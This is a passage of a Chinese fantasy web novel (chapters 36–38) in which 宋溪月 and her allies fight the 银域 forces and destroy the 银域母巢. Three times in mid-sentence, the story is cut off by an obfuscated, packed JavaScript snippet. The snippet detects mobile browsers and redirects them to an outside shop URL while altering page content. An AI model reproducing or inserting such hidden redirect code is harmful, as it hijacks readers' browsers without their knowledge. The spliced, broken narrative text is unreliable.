战斗持续了半个时辰,被同化的影族战士尽数恢复,但银灰色光幕的能量反而愈发强盛。山谷上方的岩层突然破裂,三道银域暗哨的身影俯冲而下,他们穿着银色劲装,脸上戴着镂空面具,手中握着银色短刃,周身银域能量凝为实质,比之前的暗巫使更为强悍。 “宋溪月,奉命在此等候多时。” 领头的银域暗哨声音冰冷,短刃一挥,三道银色光刃劈向影族之源,“影族本源,今日归我银域所有!” 大长老怒吼一声,本命骨牌化作巨大的黑光盾牌,挡住光刃的冲击,却被震得连连后退,嘴角溢出黑色血液。 “你的对手是我!” 我催动镇魂之力,淡金色光剑凝聚成型,迎着光刃斩去。光剑与光刃碰撞的瞬间,银域能量与镇魂之力相互湮灭,爆发出的气浪让整个山谷都在震颤。我趁机近身,光剑直指领头暗哨的面具,却被他侧身避开,短刃划过我的手臂,留下一道银灰色的伤口,伤口处的能量疯狂侵蚀着我的经脉。 “溪月!” 苏怀薇的银锁及时飞来,白光包裹住伤口,暂时压制住银域能量的扩散。宋砚纵身跃起,紫色晶石爆发出强光,击中领头暗哨的后背,暗哨闷哼一声,喷出一口银色血液。“银域能量怕平衡之力!” 宋砚大喊,“用镇魂之力主导,融合影族本源,就能彻底击溃他们!” 我立刻会意,抬手按在影族之源的古树上。淡金色炙痕与古树的绿色本源之力产生共鸣,古树突然爆发出耀眼的绿光,无数嫩绿的枝条疯狂生长,缠绕住三名银域暗哨。“影族本源,借我之力!” 我大喊着催动镇魂印,绿光与淡金光交织,形成一道巨大的能量漩涡,将暗哨们卷入其中。 银域暗哨发出凄厉的惨叫,身体在漩涡中逐渐消融,只留下三枚银色的能量核心。核心中蕴含着纯净的银域能量,却带着一丝熟悉的波动 —— 与姥姥记忆中银域执法者的能量同源,却又多了一丝暗巫尊的邪恶气息。“这些暗哨被暗巫尊的残力污染了!” 宋墨捡起一枚核心,眼中满是震惊,“银域执法者和暗巫尊之间,竟然有勾结!” 就在这时,影族之源的古树突然剧烈震动,树干中央裂开一道缝隙,一枚碧绿色的晶石缓缓升起 —— 正是影族的本源之核。晶石自动飞向我,融入淡金色炙痕中,炙痕瞬间泛起绿金交织的光芒,镇魂印的力量明显增强,脑海中涌入一段上古记忆: 姥姥与魔影本体站在三界边界,对面的银域执法者手持银色长枪,身后是无数银域士兵。“巫魔同源,三界平衡,若千年后平衡依旧,银域便永不踏入。” 执法者的声音冰冷,“若平衡崩塌,银域将履行‘接管之责’。” 姥姥点头应允,却在转身时低声对魔影本体说:“银域野心未灭,暗巫一族与他们早有勾结,千年后需让问阴后人集齐各族本源,方能彻底稳固界域屏障。” 记忆消散时,炙痕突然投射出一道新的指引 —— 灵族的栖息地位于东海之滨的雾隐岛,那里藏着灵族的本源之核,且灵族族长掌握着 “寻踪术”,能快速定位其他上古种族。“时间只剩两天了!” 楚遥看着腕表,“从无间渊到东海雾隐岛,最快也需要十个小时,我们必须立刻出发!” 大长老走到我身边,递来一枚黑色的种子:“这是影族的‘共生种’,植入土壤后能快速生长,形成临时的能量屏障,或许能在银域入侵时帮到你们。” 他眼中满是坚定,“影族战士已全员集结,随时准备参与界域之战,守护三界,我们义不容辞!” 就在我们准备撤离影族秘境时,天际线方向突然传来一阵刺耳的破空声。绿色晶石投射出的影像显示,银色裂隙中飞出数百艘银色战船,战船表面布满了蚀能晶,朝着无间渊的方向驶来。“是银域的先锋舰队!” 宋砚的紫色晶石剧烈闪烁,“他们想在我们集齐本源之力前,先摧毁影族秘境!” 影族之源的古树突然爆发出强烈的绿光,与镇魂印的淡金光交织,在山谷上方形成一道巨大的防护盾。大长老抬手一挥,影族战士们纷纷举起骨刃,吟唱着古老的战歌:“影族不灭,界域不休!” 绿色晶石的预警再次响起:“银域先锋舰队搭载了‘蚀能炮’,防护盾最多能支撑三小时!” “我们兵分两路!” 我当机立断,“宋砚、宋墨留下协助影族抵御先锋舰队,尽量拖延时间!我、怀薇、楚遥、江磊带着林溪月前往雾隐岛寻找灵族,拿到本源之力后立刻返回!” 宋砚点头应允,紫色晶石与影族本源产生共鸣:“放心去吧,我们会守住影族秘境,等你们带着灵族本源回来!” 苏怀薇抱起林溪月,银锁在前方开路,击碎通道中不断生成的蚀能晶。楚遥驾驶越野车冲出无间渊时,正好看到银色战船的第一道蚀能炮击中防护盾,爆发出刺眼的银灰色光芒,防护盾的绿光瞬间黯淡了几分。“抓紧时间!” 楚遥猛踩油门,越野车朝着东海的方向疾驰而去。 路上,林溪月的额头红印突然变得滚烫,她指着车窗外的天空:“溪月姐姐,灵族的方向有‘银色的雾’,好像也被银域袭击了!” 绿色晶石立刻投射出雾隐岛的影像 —— 整座岛屿被一层银灰色的浓雾笼罩,岛屿中央的灵族圣树散发的蓝光微弱不堪,显然已遭银域暗袭。 “银域的动作比我们快太多了!” 江磊翻阅着巫祝秘录,“灵族擅长隐匿和沟通天地灵气,银域能找到雾隐岛,必然是有内鬼指引,或者…… 他们掌握着某种能追踪本源之力的神器!” 我的炙痕突然与影族本源之核产生共鸣,碧绿色光芒闪烁间,浮现出灵族族长的紧急讯息:“银域暗哨挟持灵族幼童,逼迫我们交出本源之核,速来支援!圣树之下,藏有上古界域地图,关乎各族本源的最终秘密!” 讯息戛然而止,显然灵族族长已遭遇不测。越野车驶离大陆,朝着雾隐岛的方向疾驰,海面被银色裂隙的光芒染成淡灰色,海浪翻涌间,隐约能看到银色战船的影子。“还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我的炙痕突然爆发出绿金交织的光芒,与圣树的蓝光产生共鸣,圣树根部的地面裂开一道缝隙,露出一个黑色的盒子 —— 正是灵族族长提到的上古界域地图。可就在我伸手去拿的瞬间,副手的权杖射出一道银色光柱,击中黑色盒子,盒子瞬间被银域能量包裹。 “界域地图,归我了!” 副手伸手去抓盒子,林溪月突然挣脱苏怀薇的手,双生之力化作一道巨大的光盾,挡住了副手的动作。“不许你抢灵族的东西!” 林溪月的声音带着稚嫩的坚定,额头红印爆发出前所未有的光芒,与圣树的蓝光彻底融合。 圣树突然爆发出耀眼的蓝光,枯萎的枝叶快速复苏,无数蓝色光丝从树枝上垂下,缠绕住银域暗哨和叛徒长老。副手脸色骤变,想要催动能量墙困住我们,却发现银域能量竟然被圣树的蓝光压制。“不可能!灵族的本源之力怎么会突然增强?” 我趁机催动镇魂之力,淡金色光剑斩断捆绑灵族族长的能量链,同时伸手抓住黑色盒子。盒子入手的瞬间,炙痕与盒子产生共鸣,盒子自动打开,里面的界域地图展开 —— 地图上除了标注着影族、灵族、龙族等上古种族的位置,还在三界边界的银色裂隙旁,标注着一个红色的圆点,圆点旁写着 “银域母巢” 四个古老的文字。 “原来银域的能量源头在这里!” 宋墨的声音突然从通讯器传来,“我们击退了先锋舰队的第一波攻击,根据影族古籍记载,银域母巢是银域能量的核心,摧毁它就能让银域执法者的力量大幅削弱!” 副手看着地图上的红色圆点,眼中闪过一丝慌乱:“你们休想破坏母巢!执法者大人已经在母巢周围布下重兵,你们根本靠近不了!” 他突然催动全身能量,银色战甲爆发出强光,朝着我手中的界域地图扑来:“把地图交出来!” 就在这时,我的炙痕突然感应到灵族本源之核的位置 —— 就在圣树的树顶,被一层银域能量保护着。可此时,通讯器突然传来宋砚的紧急呼叫,声音带着焦急:“溪月!不好了!银色裂隙突然扩大,银域执法者亲自率领主力舰队来袭,影族防护盾即将破裂,我们撑不了多久了!” 时间只剩下不到一天,灵族本源之核还未获取,界域地图虽已到手,但摧毁银域母巢难如登天。银域执法者的主力舰队逼近,影族秘境危在旦夕,我们该先获取灵族本源,还是立刻返回支援影族?而圣树树顶的灵族本源之核旁,似乎还隐藏着另一道能量波动,与银域母巢的能量隐隐呼应,那又是什么? 37. 第 37 章 银域执法者主力舰队的逼近警报如同催命符,通讯器里宋砚的声音带着明显的能量透支感,影族防护盾的绿光在影像中已黯淡如残烛。“兵分两路!” 我几乎没有犹豫,指尖划过界域地图将其传入楚遥的终端,“楚遥、江磊带着林溪月和地图立刻返回影族,用共生种协助加固防护盾,务必拖延到我们赶来!我和怀薇留下夺取灵族本源,拿到后直接前往三界边界,直捣银域母巢!” “溪月姐姐,我想留下帮你!” 林溪月攥紧小拳头,额头红印闪烁着倔强的光芒,但双生之力过度消耗后的苍白脸色暴露了她的疲惫。苏怀薇轻轻按住她的肩膀:“你跟着楚遥哥哥回去,用双生之力安抚影族之源,就是对我们最大的帮助。灵族这边有我和溪月,放心吧。” 楚遥也立刻附和:“我们会守住影族,你们务必小心,银域母巢凶险未知,切勿孤军深入。” 江磊快速将巫祝秘录中关于灵族圣树的记载传输给我:“圣树树顶有‘灵域封印’,本源之核藏在封印中央,破解之法是用平衡之力引导圣树蓝光,切勿强行破坏,否则会引发封印反噬。” 话音未落,银域副手的权杖已劈出一道银色巨刃,能量墙瞬间收缩,将我们的退路彻底封死:“想走?没人能活着离开雾隐岛!” 楚遥立刻催动越野车的攻击模式,车顶炮台射出金色能量弹,暂时逼退副手,同时打开车门:“林溪月,快上车!我们走!” 林溪月依依不舍地望了我们一眼,被江磊护着钻进车内,越野车冲破能量墙的薄弱处,朝着海岸线疾驰而去。叛徒长老想要追击,却被苏怀薇的银锁缠住:“你的对手是我!” 银锁白光暴涨,化作无数光刃朝着叛徒长老劈去。这位灵族叛徒显然对银域能量的运用已颇为熟练,周身银灰色能量形成护盾,光刃劈在上面只留下浅浅的痕迹。“灵族的叛徒,不配使用灵族之力!” 我催动淡金色炙痕,影族本源的碧绿色能量顺着炙痕流淌,与镇魂之力交织成一道绿金相间的长鞭,狠狠抽向叛徒的护盾。 “咔嚓” 一声脆响,护盾应声碎裂,叛徒长老喷出一口银色血液,眼中闪过难以置信的惊恐:“镇魂之力…… 竟然能克制银域能量?” 我趁机近身,问阴三玉的光芒凝聚成剑尖,直指他的眉心:“银域给你的不过是暂时的力量,代价是灵魂被禁锢,你真以为能活下去?” 他的眼神剧烈挣扎,纯银色的瞳孔中闪过一丝清明,显然内心深处仍有灵族的意识残留。圣树的蓝光突然暴涨,一道淡蓝色光丝从树枝垂下,缠绕住他的手腕:“长老,回头是岸!灵族不能没有你!” 灵族族长虚弱的声音传来,他正用最后的力量唤醒叛徒的神智。 叛徒长老的身体剧烈抽搐,银域能量与灵族本源在他体内激烈碰撞,最终他发出一声痛苦的嘶吼,倒在地上,身上的银灰色能量渐渐退散,恢复了灵族的气息:“我…… 我对不起灵族……” 族长欣慰地叹了口气,对我道:“多谢宋姑娘手下留情,快前往树顶夺取本源之核,封印的能量已快被银域副手耗尽了!” 银域副手见叛徒倒戈,眼中闪过一丝不耐,权杖一挥,无数银色能量弹朝着圣树射来:“既然你们冥顽不灵,那就一起毁灭吧!” 苏怀薇立刻催动银锁形成巨大的光盾,挡住能量弹的攻击,却被震得连连后退,嘴角溢出鲜血:“溪月,你快去树顶,我来牵制他!” 我点点头,纵身跃向圣树树干。圣树的蓝光为我开辟出一条通道,枯萎的树枝自动让出道路,指尖触碰树干的瞬间,无数关于灵族的记忆涌入脑海 —— 灵族自古便是界域边界的 “感知者”,圣树之下的封印并非封印银域,而是封印着上古时期银域遗留在三界的 “母巢碎片”,这碎片与银域母巢同源,既能感知母巢的位置,也能反向侵蚀母巢的能量。 “原来圣树顶的神秘能量是母巢碎片!” 我心中豁然开朗,加快攀爬速度。树顶的灵域封印果然已布满裂痕,一枚淡蓝色的灵族本源之核悬浮在封印中央,旁边镶嵌着一块指甲盖大小的银色碎片,正是母巢碎片,它散发的能量与银域副手的能量隐隐呼应,显然副手的目标不仅是本源之核,还有这枚碎片。 银域副手察觉到我的意图,怒吼一声摆脱苏怀薇的纠缠,纵身跃向树顶,权杖直指本源之核:“母巢碎片是银域之物,给我留下!” 我立刻催动平衡之力,淡金色炙痕与圣树蓝光交织,形成一道防护屏障,挡住权杖的攻击。“你根本不知道这碎片的真正用途!” 我冷笑一声,伸手握住本源之核,“它不是你们的宝物,而是毁灭银域母巢的钥匙!” 本源之核入手温润,淡蓝色能量顺着炙痕融入体内,与影族本源的碧绿色能量交织,镇魂印的力量再次暴涨。母巢碎片感受到本源之核的能量,突然爆发出强烈的银光,想要挣脱封印的束缚。“想跑?” 我立刻用镇魂之力将碎片包裹,碎片在光中剧烈挣扎,却始终无法逃脱。 银域副手见状,眼中闪过疯狂,周身银域能量尽数爆发,银色战甲的光芒达到极致:“既然拿不到,那就同归于尽!” 他突然朝着圣树的主干撞去,显然想要摧毁圣树,引发封印爆炸。苏怀薇及时赶到,银锁化作一道巨大的锁链,缠住副手的双腿,将他狠狠拽向地面:“溪月,快用碎片和本源之力加固封印,我来解决他!” 我点点头,将本源之核嵌入封印中央,同时将母巢碎片按在封印的裂痕处。淡蓝色与银白色能量交织,封印的裂痕以肉眼可见的速度愈合,圣树的蓝光愈发炽盛,无数蓝色光丝从树顶蔓延而下,缠绕住银域副手,将他体内的银域能量源源不断地抽取出来,转化为封印的能量。 “不!我不能就这样失败!” 银域副手疯狂挣扎,却被光丝越缠越紧,身体在能量抽取中渐渐变得透明。最终,他发出一声不甘的嘶吼,彻底消散在圣树的蓝光中,只留下一枚银色的能量结晶,与之前暗哨留下的核心同源。 灵族族长缓缓走到树底,看着愈合的封印,眼中满是欣慰:“多谢宋姑娘,不仅拯救了灵族,还加固了母巢碎片的封印。这碎片是上古时期姥姥与魔影本体联手从银域母巢上剥离的,只要将其融入镇魂印,就能定位母巢的核心弱点,一击致命。” 他抬手一挥,圣树的蓝光投射出一段影像:银域母巢位于三界边界的银色裂隙深处,形似巨大的银色蜂巢,核心部位散发着与碎片同源的能量,周围布满了银域士兵的防御工事,执法者的旗舰悬浮在母巢上方,散发着毁天灭地的能量波动。“执法者的力量核心与母巢相连,摧毁母巢,他的力量就会大幅削弱,届时你们才有胜算。” 我握紧掌心的淡金色炙痕,本源之核与母巢碎片的能量已完全融入,镇魂印的光芒愈发纯净,脑海中清晰地浮现出银域母巢的核心位置。通讯器突然传来楚遥的紧急呼叫,声音带着劫后余生的庆幸:“溪月!我们赶到影族了!宋砚和宋墨已经快撑不住了,防护盾只剩下最后一层,你们什么时候能来?” 影像中,影族秘境的防护盾已变得透明,银色战船的蚀能炮不断轰击,光幕上布满了蛛网般的裂痕,宋砚和宋墨浑身是伤,仍在催动能量加固光幕,影族战士们也已伤亡过半,情况危急。“我们立刻出发!” 我对灵族族长道,“麻烦你带领灵族战士前往影族支援,守住秘境,我们去摧毁银域母巢!” 灵族族长点点头:“放心去吧,灵族与影族同气连枝,定会守住秘境。这是灵族的‘寻踪符’,能指引你们避开银域的防御工事,直达母巢核心。” 他递来一枚蓝色的符纸,符纸入手即融入炙痕,脑海中立刻浮现出前往母巢的最优路线。 我和苏怀薇告别灵族众人,乘坐灵族提供的飞行法器朝着三界边界疾驰而去。飞行法器的速度远超越野车,下方的山川河流飞速倒退,银色裂隙在天际线越来越清晰,散发的银域能量让空气都变得粘稠。“还有一小时就能抵达母巢外围。” 苏怀薇擦拭着银锁上的血迹,眼中满是坚定,“不管执法者有多强,我们都要摧毁母巢,守护三界。” 我的炙痕突然剧烈发烫,母巢碎片的能量与银域母巢产生强烈共鸣,脑海中涌入一段陌生的记忆 —— 银域执法者的真实身份,竟然是上古时期银域的 “叛逃者”,他并非奉命接管三界,而是想要夺取母巢碎片,融合三界的平衡之力,成为界域的主宰。当年与姥姥达成协议,不过是缓兵之计,他一直在暗中培养势力,等待时机成熟。 “原来执法者一直在欺骗所有人!” 我心中震惊,这段记忆显然是母巢碎片传递给我的,它作为银域母巢的一部分,能感知到执法者的真实意图。“他的目标不是接管三界,而是成为界域的主宰,银域不过是他利用的棋子!” 就在这时,飞行法器突然剧烈震动,前方的天空中出现无数银色战船,形成一道严密的防御网,执法者的旗舰悬浮在防御网中央,船身上的蚀能炮已对准我们。通讯器里传来执法者冰冷的声音,带着一丝嘲讽:“宋溪月,没想到你能拿到母巢碎片,还知道了真相。不过,一切都太晚了,今天就是你的死期!” 旗舰的舱门打开,执法者的身影缓缓飞出,他穿着全套银色战甲,手中握着一柄银色长枪,枪尖散发着与母巢同源的能量,显然已将部分母巢能量融入武器。他的周身银域能量凝为实质,形成一道巨大的银色护盾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我趁机朝着银域母巢飞去,母巢的核心部位已近在眼前。可就在我准备催动光剑摧毁母巢时,却发现母巢的核心深处,竟然囚禁着无数三界种族的魂灵,他们的魂灵被银域能量束缚,不断被抽取本源之力,正是母巢能量的来源。 “如果摧毁母巢,这些魂灵也会一同消散!” 我心中一紧,陷入了两难境地。执法者挣扎着从旗舰残骸中爬出来,嘴角带着诡异的笑容:“宋溪月,你舍不得吧?这些魂灵都是三界的精英,只要你放了我,我就告诉你释放他们的方法。否则,他们只能和母巢一起毁灭!” 无数魂灵在母巢核心中发出痛苦的哀嚎,他们的气息与三界各族的本源之力相连,显然都是被银域俘虏的各族强者。摧毁母巢,就能彻底终结执法者的野心,却会让这些魂灵魂飞魄散;不摧毁母巢,执法者就会卷土重来,三界仍将面临灭顶之灾。 就在我犹豫不决时,炙痕中的母巢碎片突然爆发出强烈的银光,传递出一段信息:母巢核心有一个 “魂灵枢纽”,只要破坏枢纽,就能切断银域能量与魂灵的连接,既可以释放魂灵,又能让母巢失去能量来源。但枢纽被最强大的银域守卫保护,且破坏枢纽的过程中,母巢会进入 “自爆倒计时”,只有十分钟的时间撤离,否则仍会被爆炸波及。 执法者显然也知道魂灵枢纽的存在,他疯狂地朝着母巢核心冲来:“宋溪月,你休想破坏枢纽!那些魂灵是我统治界域的资本,谁也别想夺走!” 他的银色战甲再次爆发出强光,速度提升到极致,手中的长枪直指我的后心。 同时,通讯器传来楚遥的呼叫:“溪月!影族和灵族的援军已经赶到,正在牵制剩余的银域战船!但母巢的能量波动越来越强,似乎即将发生爆炸,你们快撤离!” 我看着母巢核心中痛苦的魂灵,又看着疾驰而来的执法者,心中已有了决定。但就在我准备冲向魂灵枢纽时,却发现枢纽旁边,竟然站着一道熟悉的身影 —— 正是之前被银域能量吞噬的苏怀薇!她的眼睛变成纯银色,显然已被银域同化,手中握着银锁,正冷冷地看着我,随时准备阻止我的行动。 “怀薇……” 我心中一痛,没想到她竟然被执法者控制,成为了阻止我破坏枢纽的最后一道屏障。执法者的嘴角扬起胜利的笑容:“宋溪月,你的伙伴现在是我的手下,你忍心对她动手吗?放弃吧,你根本不可能赢我!” 魂灵枢纽的保护屏障已开始收缩,自爆倒计时即将启动。苏怀薇举起银锁,白光朝着我射来,眼中没有丝毫昔日的情谊,只有冰冷的杀意。我握紧手中的淡金色光剑,看着昔日并肩作战的伙伴,又看着母巢核心中哀嚎的魂灵,陷入了前所未有的绝境。 38. 第 38 章 母巢自爆倒计时的红光在炙痕中疯狂闪烁,每一秒的流逝都伴随着核心能量的剧烈波动。苏怀薇的银锁白光已染上银灰色,带着刺骨的杀意射来,而执法者的长枪也已逼近身后,枪尖的银域能量几乎要刺破我的防护。“怀薇,别怪我!” 我咬牙催动母巢碎片的能量,淡银色光芒顺着炙痕流淌,形成一道无形的屏障,将苏怀薇笼罩其中。 这枚碎片本就与银域能量同源,却又被镇魂之力净化,此刻爆发的力量恰好能暂时压制她体内的银域侵蚀。苏怀薇的动作瞬间僵硬,银锁停在半空,眼中的纯银色光芒剧烈挣扎,显然体内的神智并未完全泯灭。“溪月…… 快…… 摧毁枢纽……” 她艰难地吐出几个字,嘴角溢出银色血液,显然在与银域控制做着殊死抗争。 执法者见我暂时控制住苏怀薇,怒不可遏地加快速度,长枪直指我的后心:“竟敢用母巢碎片对付我的傀儡!找死!” 我侧身避开枪尖,同时催动影族与灵族的本源之力,绿金交织的光剑狠狠劈向执法者的战甲。“铛” 的一声巨响,光剑与战甲碰撞出耀眼的火花,执法者被震得后退数步,眼中闪过难以置信的震惊:“两种本源之力…… 你竟然真的集齐了!” 母巢核心的震动愈发剧烈,魂灵枢纽的保护屏障已收缩到极致,枢纽周围的银域守卫察觉到威胁,纷纷朝着我扑来。这些守卫通体由银域能量凝聚而成,没有实体,攻击方式却极为诡异,能直接穿透防护侵蚀灵魂。“镇魂印,开!” 我大喊一声,淡金色的镇魂印虚影在头顶浮现,光芒所及之处,银域守卫如同冰雪遇火般消融,暂时为我开辟出一条通往枢纽的道路。 执法者岂能容我得手,手中长枪突然分裂成无数道银色枪影,朝着我全方位射来:“我说过,没人能破坏我的计划!” 就在这危急时刻,一道金黄色的能量光束突然从远处射来,击碎了大半枪影,楚遥的声音从通讯器里传来:“溪月,我们来帮你了!” 我转头望去,只见影族、灵族的援军已突破银域战船的防御网,楚遥驾驶着改装后的越野车在空中疾驰,车顶炮台不断射出能量弹;宋砚、宋墨并肩作战,紫色晶石与巫祝之力交织,斩杀着阻拦的银域士兵;林溪月站在越野车顶部,双生之力化作巨大的淡粉色光盾,护住身后的各族战士。“还有三分钟!枢纽的屏障就要彻底关闭了!” 灵族族长的声音带着焦急,他正用灵族之力引导各族本源,为我提供远程支援。 执法者见援军赶到,眼中闪过一丝慌乱,却很快被疯狂取代:“就算你们人多又如何?母巢自爆后,所有人都要陪葬!” 他突然抬手按住自己的战甲,战甲的能量核心与母巢产生共鸣,无数银色能量丝从母巢各处涌出,缠绕住他的身体,让他的力量瞬间暴涨数倍。“这是银域的‘献祭之力’,他在吸收母巢的能量!” 宋砚的声音传来,带着明显的担忧,“再这样下去,他的力量会超越界域极限!” 我深知不能再拖延,趁着执法者吸收能量的间隙,纵身跃向魂灵枢纽。枢纽的保护屏障已薄如蝉翼,我将光剑刺入屏障,镇魂之力与母巢碎片的能量同时爆发,屏障应声碎裂。枢纽内部是一个巨大的银色光球,无数魂灵被能量丝缠绕在光球表面,他们的气息微弱却熟悉 —— 其中两道金黄色的气息,竟与宋砚、宋墨的本源之力隐隐呼应! “是父母的气息!” 宋墨的声音带着激动与哽咽,“他们当年果然没有牺牲,而是被银域俘虏,囚禁在了这里!” 宋砚也难掩激动,紫色晶石爆发出强烈的光芒,与枢纽中的两道气息产生共鸣:“溪月,拜托你,一定要救出他们!” 我握紧光剑,对准枢纽的核心节点 —— 一个闪烁着黑色光芒的装置,这正是控制魂灵束缚的关键。就在我准备劈下的瞬间,执法者突然出现在我身后,力量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182859|196970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴涨后的他气息恐怖至极,长枪带着毁天灭地的威势劈来:“给我住手!” 这一击的力量远超之前,我根本来不及躲闪,只能下意识地举起光剑防御。“铛” 的一声巨响,光剑被震飞出去,我重重撞在枢纽的光球上,喷出一口鲜血,炙痕的光芒瞬间黯淡。执法者步步紧逼,眼中满是狰狞:“宋溪月,你以为你能赢我?太天真了!” 就在这千钧一发之际,被碎片压制的苏怀薇突然爆发,银锁的白光彻底挣脱银域侵蚀,化作一道纯净的光刃,狠狠劈在执法者的后背。“谁也不能伤害溪月!” 她的眼中恢复了清明,额头上布满汗珠,显然是凭借自身的意志冲破了银域控制。执法者猝不及防,被劈得向前踉跄几步,身上的银色能量丝出现断裂。 “怀薇!” 我惊喜地喊道,趁机捡起光剑,再次冲向枢纽核心。苏怀薇催动银锁,缠住执法者的手臂:“溪月,快动手!我来缠住他!” 执法者怒吼着想要挣脱,却发现苏怀薇的银锁上已沾染了母巢碎片的净化之力,根本无法用银域能量化解。 “最后一分钟!” 林溪月的声音传来,母巢的震动已达到极致,顶部开始出现大规模坍塌。我不再犹豫,将所有本源之力注入光剑,狠狠劈向枢纽的黑色装置。“咔嚓” 一声,装置碎裂,缠绕在魂灵身上的能量丝瞬间断裂,无数魂灵化作一道道光丝,从母巢核心飞出,重获自由。其中两道金黄色光丝径直飞向宋砚、宋墨,融入他们的体内,两人的力量瞬间暴涨,眼中满是失而复得的喜悦。 魂灵枢纽被破坏,母巢失去了能量来源,体表的银域能量开始快速消退,自爆倒计时的红光也渐渐黯淡。执法者见计划彻底破产,发出一声惊天动地的怒吼:“我不甘心!我筹划了千年,竟然毁在你们手里!” 他突然催动体内剩余的所有能量,想要与母巢同归于尽,将我们所有人都埋葬在这里。...